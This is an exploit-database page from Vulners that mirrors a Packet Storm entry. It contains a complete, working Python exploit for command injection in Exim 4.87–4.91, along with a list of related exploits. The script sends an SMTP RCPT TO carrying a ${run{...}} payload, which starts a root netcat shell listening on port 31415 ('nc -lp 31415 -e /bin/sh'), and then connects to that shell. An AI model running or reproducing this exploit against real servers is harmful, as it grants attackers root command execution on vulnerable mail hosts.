Lucene search
+L

📄 Exim 4.91 Remote Command Execution

🗓️ 08 May 2026 00:00:00Reported by Ambrella SecurityType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 189 Views

Exim 4.87–4.91 remote command execution via mail payload spawns root netcat shell on port 31415.

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Exim 4.87 < 4.91 - (Local / Remote) Command Execution Exploit
7 Jun 201900:00
zdt
zdt
zdt
Exim 4.91 Local Privilege Escalation Exploit
17 Jun 201900:00
zdt
zdt
zdt
Exim 4.87 / 4.91 - Local Privilege Escalation Exploit
23 Aug 201900:00
zdt
githubexploit
GithubExploit
Exploit for OS Command Injection in Exim
21 Jan 202602:08
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Exim
21 Oct 201908:13
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Exim
12 Jun 201903:47
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Exim
3 Jun 202002:27
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Exim
25 Jul 201900:46
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Exim
13 Jun 201923:21
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Exim
27 Jun 201901:34
githubexploit
Rows per page
#
    # Spawns a netcat shell on port 31415 as root, then connects to it
    # Vulnerablity is within Exim 4.87-4.91
    #
    
    import subprocess
    import socket
    import os
    import time
    from subprocess import Popen, PIPE
    
    payload = b'${run{\\x2fbin\\x2fsh\\t-c\\t\\x22nc\\t-lp\\t31415\\t-e\\t\\x2fbin\\x2fsh\\x22}}@localhost'
    myhost = os.uname()[1]
    proc = subprocess.Popen(["nc", "localhost", "25"], stdin=PIPE, stdout=PIPE)
    
    stdout = (repr(proc.stdout.readline()))
    print(stdout)
    
    if ("220" in stdout): #Wait for 220 so we can start sending commands
        proc.stdin.write((b'HELO ') + myhost.encode() + b'\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
        proc.stdin.write(b'MAIL FROM:<>\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
        proc.stdin.write(b'RCPT TO:<'+ payload + b'>\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
        
        proc.stdin.write(b'DATA\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
        for i in range(1,32):
          proc.stdin.write(b'Received:' + b' ' + bytes(i) + b'\n')   
          proc.stdin.flush()
          #print(i)
      
        proc.stdin.write(b'\n.\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
      
        proc.stdin.write(b'QUIT\n')
        proc.stdin.flush()
        print(repr(proc.stdout.readline()))
    
    time.sleep(1)
    print("[+] Dropping into shell...")
    os.system("nc localhost 31415")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 May 2026 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 210
CVSS 39
EPSS0.99961
SSVC
189